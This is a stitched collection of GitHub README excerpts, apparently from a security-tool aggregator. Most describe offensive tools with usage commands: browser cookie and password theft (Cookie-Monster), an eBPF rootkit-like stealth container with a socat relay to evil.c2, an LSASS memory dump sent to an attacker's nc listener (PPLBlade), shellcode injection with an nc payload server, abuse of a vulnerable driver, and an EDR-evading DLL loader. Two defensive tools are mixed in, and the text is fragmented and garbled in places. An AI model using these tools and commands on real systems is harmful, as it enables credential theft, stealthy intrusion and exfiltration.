Login
Steal browser cookies for edge, chrome and firefox through a BOF or exe! Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target. Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption.
FreshRSS Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>]
cookie-monster Example:
cookie-monster --chrome
cookie-monster --edge
cookie-moster --firefox
cookie-monster --chromeCookiePID 1337
cookie-monster --chromeLoginDataPID 1337
cookie-monster --edgeCookiePID 4444
cookie-monster --edgeLoginDataPID 4444
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PI D is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
Cookie Monster Example:
cookie-monster.exe --all
Cookie Monster Options:
-h, --help Show this help message and exit
--all Run chrome, edge, and firefox methods
--edge Extract edge keys and download Cookies/Login Data file to PWD
--chrome Extract chrome keys and download Cookies/Login Data file to PWD
--firefox Locate firefox key and Cookies, does not make a copy of either file
Install requirements
pip3 install -r requirements.txt
Base64 encode the webkit masterkey
python3 base64-encode.py "\xec\xfc...."
Decrypt Chrome/Edge Cookies File
python .\decrypt.py "XHh..." --cookies ChromeCookie.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Decrypt Chome/Edge Passwords File
python .\decrypt.py "XHh..." --passwords ChromePasswords.db
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Decrypt Firefox Cookies and Stored Credentials:
https://github.com/lclevy/firepwd
Ensure Mingw-w64 and make is installed on the linux prior to compiling.
make
to compile exe on windows
gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos! Highly recommend checking out his lessons!!!
Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Fileless download: https://github.com/fortra/nanodump
Decrypt Cookies and Login Data: https://github.com/login-securite/DonPAPI
AttackGen is a cybersecurity incident response testing tool that leverages the power of large language models and the comprehensive MITRE ATT&CK framework. The tool generates tailored incident response scenarios based on user-selected threat actor groups and your organisation's details.
If you find AttackGen useful, please consider starring the repository on GitHub. This helps more people discover the tool. Your support is greatly appreciated! β
| What's new? | Why is it useful? |
|---|---|
| Mistral API Integration | - Alternative Model Provider: Users can now leverage the Mistral AI models to generate incident response scenarios. This integration provides an alternative to the OpenAI and Azure OpenAI Service models, allowing users to explore and compare the performance of different language models for their specific use case. |
| Local Model Support using Ollama | - Local Model Hosting: AttackGen now supports the use of locally hosted LLMs via an integration with Ollama. This feature is particularly useful for organisations with strict data privacy requirements or those who prefer to keep their data on-premises. Please note that this feature is not available for users of the AttackGen version hosted on Streamlit Community Cloud at https://attackgen.streamlit.app |
| Optional LangSmith Integration | - Improved Flexibility: The integration with LangSmith is now optional. If no LangChain API key is provided, users will see an informative message indicating that the run won't be logged by LangSmith, rather than an error being thrown. This change improves the overall user experience and allows users to continue using AttackGen without the need for LangSmith. |
| Various Bug Fixes and Improvements | - Enhanced User Experience: This release includes several bug fixes and improvements to the user interface, making AttackGen more user-friendly and robust. |
| What's new? | Why is it useful? |
|---|---|
| Azure OpenAI Service Integration | - Enhanced Integration: Users can now choose to utilise OpenAI models deployed on the Azure OpenAI Service, in addition to the standard OpenAI API. This integration offers a seamless and secure solution for incorporating AttackGen into existing Azure ecosystems, leveraging established commercial and confidentiality agreements. - Improved Data Security: Running AttackGen from Azure ensures that application descriptions and other data remain within the Azure environment, making it ideal for organizations that handle sensitive data in their threat models. |
| LangSmith for Azure OpenAI Service | - Enhanced Debugging: LangSmith tracing is now available for scenarios generated using the Azure OpenAI Service. This feature provides a powerful tool for debugging, testing, and monitoring of model performance, allowing users to gain insights into the model's decision-making process and identify potential issues with the generated scenarios. - User Feedback: LangSmith also captures user feedback on the quality of scenarios generated using the Azure OpenAI Service, providing valuable insights into model performance and user satisfaction. |
| Model Selection for OpenAI API | - Flexible Model Options: Users can now select from several models available from the OpenAI API endpoint, such as gpt-4-turbo-preview. This allows for greater customization and experimentation with different language models, enabling users to find the most suitable model for their specific use case. |
| Docker Container Image | - Easy Deployment: AttackGen is now available as a Docker container image, making it easier to deploy and run the application in a consistent and reproducible environment. This feature is particularly useful for users who want to run AttackGen in a containerised environment, or for those who want to deploy the application on a cloud platform. |
| What's new? | Why is it useful? |
|---|---|
| Custom Scenarios based on ATT&CK Techniques | - For Mature Organisations: This feature is particularly beneficial if your organisation has advanced threat intelligence capabilities. For instance, if you're monitoring a newly identified or lesser-known threat actor group, you can tailor incident response testing scenarios specific to the techniques used by that group. - Focused Testing: Alternatively, use this feature to focus your incident response testing on specific parts of the cyber kill chain or certain MITRE ATT&CK Tactics like 'Lateral Movement' or 'Exfiltration'. This is useful for organisations looking to evaluate and improve specific areas of their defence posture. |
| User feedback on generated scenarios | - Collecting feedback is essential to track model performance over time and helps to highlight strengths and weaknesses in scenario generation tasks. |
| Improved error handling for missing API keys | - Improved user experience. |
Replaced Streamlit st.spinner widgets with new st.status widget | - Provides better visibility into long running processes (i.e. scenario generation). |
Initial release.
langchain and mitreattack).enterprise-attack.json (MITRE ATT&CK dataset in STIX format) and groups.json.git clone https://github.com/mrwadams/attackgen.git
cd attackgen
pip install -r requirements.txt
docker pull mrwadams/attackgen
If you would like to use LangSmith for debugging, testing, and monitoring of model performance, you will need to set up a LangSmith account and create a .streamlit/secrets.toml file that contains your LangChain API key. Please follow the instructions here to set up your account and obtain your API key. You'll find a secrets.toml-example file in the .streamlit/ directory that you can use as a template for your own secrets.toml file.
If you do not wish to use LangSmith, you must still have a .streamlit/secrets.toml file in place, but you can leave the LANGCHAIN_API_KEY field empty.
Download the latest version of the MITRE ATT&CK dataset in STIX format from here. Ensure to place this file in the ./data/ directory within the repository.
After the data setup, you can run AttackGen with the following command:
streamlit run π_Welcome.py
You can also try the app on Streamlit Community Cloud.
streamlit run π_Welcome.py
docker run -p 8501:8501 mrwadams/attackgen
This command will start the container and map port 8501 (default for Streamlit apps) from the container to your host machine. 2. Open your web browser and navigate to http://localhost:8501. 3. Use the app to generate standard or custom incident response scenarios (see below for details).
Threat Group Scenarios page..streamlit/secrets.toml file.Custom Scenario page..streamlit/secrets.toml file.Please note that generating scenarios may take a minute or so. Once the scenario is generated, you can view it on the app and also download it as a Markdown file.
I'm very happy to accept contributions to this project. Please feel free to submit an issue or pull request.
This project is licensed under GNU GPLv3.
There has been an exponential increase in breaches within enterprises despite the carefully constructed and controlled perimeters that exist around applications and data. Once an attacker can access⦠Read more on Cisco Blogs
Article tags
A stealth post-exploitation container.
With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:
All these tools go blind to what goes through nysm. It hides:
Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.
Β
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -ycd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.hcd ./nysm/src/
makenysm is a simple program to run before the intended command:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Run a hidden bash:
./nysm bashRun a hidden ssh and remove ./nysm:
./nysm -r ssh user@domain
Run a hidden socat as a daemon and remove ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.
To differentiate nysm events from the others, everything runs inside a seperated PID namespace.
bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.
As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.
To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.
In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.
Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().
Auditd receives its logs from recvfrom() which stores its messages in a buffer.
If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.
Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.
As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.
Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.
Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.
These are collected from the connect() and bind() calls.
Even with the best effort, nysm still has some limitations.
Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.
Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.
Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.
Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.
Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.
Key functionalities:
Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.
Itβs already embedded into the PPLBlade.exe. The exploit is just a single executable.
Modes:
Handle Modes:
Basic POC that uses PROCEXP152.sys to dump lsass:
PPLBlade.exe --mode dothatlsassthing
(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)
Upload the obfuscated LSASS dump onto a remote location:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Attacker host:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Deobfuscate memory dump:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade
A variation of ProcessOverwriting to execute shellcode on an executable's section
For a more detailed explanation you can read my blog post
Process Stomping, is a variation of hasherezadeβs Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.
These are the main steps of the ProcessStomping technique:
As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.
Select your target process and modify global variables accordingly in ProcessStomping.cpp.
Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
The shellcode blob can then be xored with a key-word and downloaded using a simple socket
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Deliver the xored blob upon connection
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
The sRDI blob will get erased after execution to remove unneeded artifacts.
To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.
Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.
This tool allows you to list protected processes, get the protection level of a specific process, or set an arbitrary protection level. For more information, you can read this blog post: Debugging Protected Processes.
You can get a copy of the MSI driver RTCore64.sys here: PPLKiller/driver.
Disclaimer: it goes without saying that you should never install this driver on your host machine. Use a VM!
sc.exe create RTCore64 type= kernel start= auto binPath= C:\PATH\TO\RTCore64.sys DisplayName= "Micro - Star MSI Afterburner"
net start RTCore64List protected processes.
PPLcontrol.exe listGet the protection level of a specific process.
PPLcontrol.exe get 1234Set an arbitrary protection level.
PPLcontrol.exe set 1234 PPL WinTcbProtect a non-protected process with an arbitrary protection level. This will also automatically adjust the signature levels accordingly.
PPLcontrol.exe protect 1234 PPL WinTcbUnprotect a protected process. This will set the protection level to 0 (i.e. None) and the EXE/DLL signature levels to 0 (i.e. Unchecked).
PPLcontrol.exe unprotect 1234net stop RTCore64
sc.exe delete RTCore64WinDbg just needs to open the target process, so you can use PPLcontrol to set an arbitrary protection level on your windbg.exe process.
windbg.exe process.C:\Temp>tasklist | findstr /i windbg
windbg.exe 1232 Console 1 24,840 K
C:\Temp>PPLcontrol.exe protect 1232 PPL WinTcb
[+] The Protection 'PPL-WinTcb' was set on the process with PID 1232, previous protection was: 'None-None'.
[+] The Signature level 'WindowsTcb' and the Section signature level 'Windows' were set on the process with PID 1232.In addition to opening the target process, API monitor injects a DLL into it. Therefore, setting an arbitrary protection level on your apimonitor.exe process won't suffice. Since the injected DLL is not properly signed for this purpose, the Section signature flag of the target process will likely prevent it from being loaded. However, you can temporarily disable the protection on the target process, start monitoring it, and restore the protection right after.
Failed to load module in target process - Error: 577, Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.C:\Temp>tasklist | findstr /i target
target.exe 1337 Services 1 14,160 K
C:\Temp>PPLcontrol.exe get 1337
[+] The process with PID 1337 is a PPL with the Signer type 'WinTcb' (6).
C:\Temp>PPLcontrol.exe unprotect 1337
[+] The process with PID 1337 is no longer a PP(L).
C:\Temp>PPLcontrol.exe protect 1337 PPL WinTcb
[+] The Protection 'PPL-WinTcb' was set on the process with PID 1337, previous protection was: 'None-None'.
[+] The Signature level 'WindowsTcb' and the Section signature level 'Windows' were set on the process with PID 1337.Release/x64 (x86 is not supported and will probably never be).
Wanderer is an open-source program that collects information about running processes. This information includes the integrity level, the presence of the AMSI as a loaded module, whether it is running as 64-bit or 32-bit as well as the privilege level of the current process. This information is extremely helpful when building payloads catered to the ideal candidate for process injection.
This is a project that I started working on as I progressed through Offensive Security's PEN-300 course. One of my favorite modules from the course is the process injection & migration section which inspired me to be build a tool to help me be more efficient in during that activity. A special thanks goes out to ShadowKhan who provided valuable feedback which helped provide creative direction to make this utility visually appealing and enhanced its usability with suggested filtering capabilities.
PS C:\> .\wanderer.exe
>> Process Injection Enumeration
>> https://github.com/gh0x0st
Usage: wanderer [target options] <value> [filter options] <value> [output options] <value>
Target Options:
-i, --id, Target a single or group of processes by their id number
-n, --name, Target a single or group of processes by their name
-c, --current, Target the current process and reveal the current privilege level
-a, --all, Target every running process
Filter Options:
--include-denied, Include instances where process access is denied
--exclude-32, Exclude instances where the process architecture is 32-bit
--exclude-64, Exclude instances where the process architecture is 64-bit
--exclude-amsiloaded, Exclude instances where amsi.dll is a loaded proces s module
--exclude-amsiunloaded, Exclude instances where amsi is not loaded process module
--exclude-integrity, Exclude instances where the process integrity level is a specific value
Output Options:
--output-nested, Output the results in a nested style view
-q, --quiet, Do not output the banner
Examples:
Enumerate the process with id 12345
C:\> wanderer --id 12345
Enumerate all processes with the names process1 and processs2
C:\> wanderer --name process1,process2
Enumerate the current process privilege level
C:\> wanderer --current
Enumerate all 32-bit processes
C:\wanderer --all --exclude-64
Enumerate all processes where is AMSI is loaded
C:\> wanderer --all --exclude-amsiunloaded
Enumerate all processes with the names pwsh,powershell,spotify and exclude instances where the integrity level is untrusted or low and exclude 32-bit processes
C:\> wanderer --name pwsh,powershell,spotify --exclude-integrity untrusted,low --exclude-32
These are a collection of security and monitoring scripts you can use to monitor your Linux installation for security-related events or for an investigation. Each script works on its own and is independent of other scripts. The scripts can be set up to either print out their results, send them to you via mail, or using AlertR as notification channel.
The scripts are located in the directory scripts/. Each script contains a short summary in the header of the file with a description of what it is supposed to do, (if needed) dependencies that have to be installed and (if available) references to where the idea for this script stems from.
Each script has a configuration file in the scripts/config/ directory to configure it. If the configuration file was not found during the execution of the script, the script will fall back to default settings and print out the results. Hence, it is not necessary to provide a configuration file.
The scripts/lib/ directory contains code that is shared between different scripts.
Scripts using a monitor_ prefix hold a state and are only useful for monitoring purposes. A single usage of them for an investigation will only result in showing the current state the Linux system and not changes that might be relevant for the system's security. If you want to establish the current state of your system as benign for these scripts, you can provide the --init argument.
Take a look at the header of the script you want to execute. It contains a short description what this script is supposed to do and what requirements are needed (if any needed at all). If requirements are needed, install them before running the script.
The shared configuration file scripts/config/config.py contains settings that are used by all scripts. Furthermore, each script can be configured by using the corresponding configuration file in the scripts/config/ directory. If no configuration file was found, a default setting is used and the results are printed out.
Finally, you can run all configured scripts by executing start_search.py (which is located in the main directory) or by executing each script manually. A Python3 interpreter is needed to run the scripts.
If you want to use the scripts to monitor your Linux system constantly, you have to perform the following steps:
Set up a notification channel that is supported by the scripts (currently printing out, mail, or AlertR).
Configure the scripts that you want to run using the configuration files in the scripts/config/ directory.
Execute start_search.py with the --init argument to initialize the scripts with the monitor_ prefix and let them establish a state of your system. However, this assumes that your system is currently uncompromised. If you are unsure of this, you should verify its current state.
Set up a cron job as root user that executes start_search.py (e.g., 0 * * * * root /opt/LSMS/start_search.py to start the search hourly).
| Name | Script |
|---|---|
| Monitoring cron files | monitor_cron.py |
| Monitoring /etc/hosts file | monitor_hosts_file.py |
| Monitoring /etc/ld.so.preload file | monitor_ld_preload.py |
| Monitoring /etc/passwd file | monitor_passwd.py |
| Monitoring modules | monitor_modules.py |
| Monitoring SSH authorized_keys files | monitor_ssh_authorized_keys.py |
| Monitoring systemd unit files | monitor_systemd_units.py |
| Search executables in /dev/shm | search_dev_shm.py |
| Search fileless programs (memfd_create) | search_memfd_create.py |
| Search hidden ELF files | search_hidden_exe.py |
| Search immutable files | search_immutable_files.py |
| Search kernel thread impersonations | search_non_kthreads.py |
| Search processes that were started by a now disconnected SSH session | search_ssh_leftover_processes.py |
| Search running deleted programs | search_deleted_exe.py |
| Test script to check if alerting works | test_alert.py |
| Verify integrity of installed .deb packages | verify_deb_packages.py |
A DLL Loader With Advanced Evasive Features
"Atom" function via the command line.CRC32 string hashing algorithm.AtomLdr's unhooking method looks like the following
the program Unhooking from the \KnwonDlls\ directory is not a new method to bypass user-land hooks. However, this loader tries to avoid allocating RWX memory when doing so. This was obligatory to do in KnownDllUnhook for example, where RWX permissions were needed to replace the text section of the hooked modules, and at the same time allow execution of functions within these text sections.
This was changed in this loader, where it suspends the running threads, in an attempt to block any function from being called from within the targetted text sections, thus eliminating the need of having them marked as RWX sections before unhooking, making RW permissions a possible choice.
This approach, however, created another problem; when unhooking, NtProtectVirtualMemory syscall and others were using the syscall instruction inside of ntdll.dll module, as an indirect-syscall approach. Still, as mentioned above, the unhooked modules will be marked as RW sections, making it impossible to perform indirect syscalls, because the syscall instruction that we were jumping to, can't be executed now, so we had to jump to another executable place, this is where win32u.dll was used.
win32u.dll contains some syscalls that are GUI-related functions, making it suitable to jump to instead of ntdll.dll. win32u.dll is loaded (statically), but not included in the unhooking routine, which is done to insure that win32u.dll can still execute the syscall instruction we are jumping to.
The suspended threads after that are resumed.
It is worth mentioning that this approach may not be that efficient, and can be unstable, that is due to the thread suspension trick used. However, it has been tested with multiple processes with positive results, in the meantime, if you encountered any problems, feel free to open an issue.
PayloadConfig.pc file, that contains the encrypted payload, and its encrypted key and iv.PayloadConfig.pc file will then replace this in the AtomLdr project.AtomLdr project as x64 Release.AtomLdr.dll using rundll32.exe, running Havoc payload, and capturing a screenshotAtomLdr.dll's Import Address TablePayloadBuilder.exe, to encrypt demon[111].bin - a Havoc payload fileAtomLdr.dll using rundll32.exe
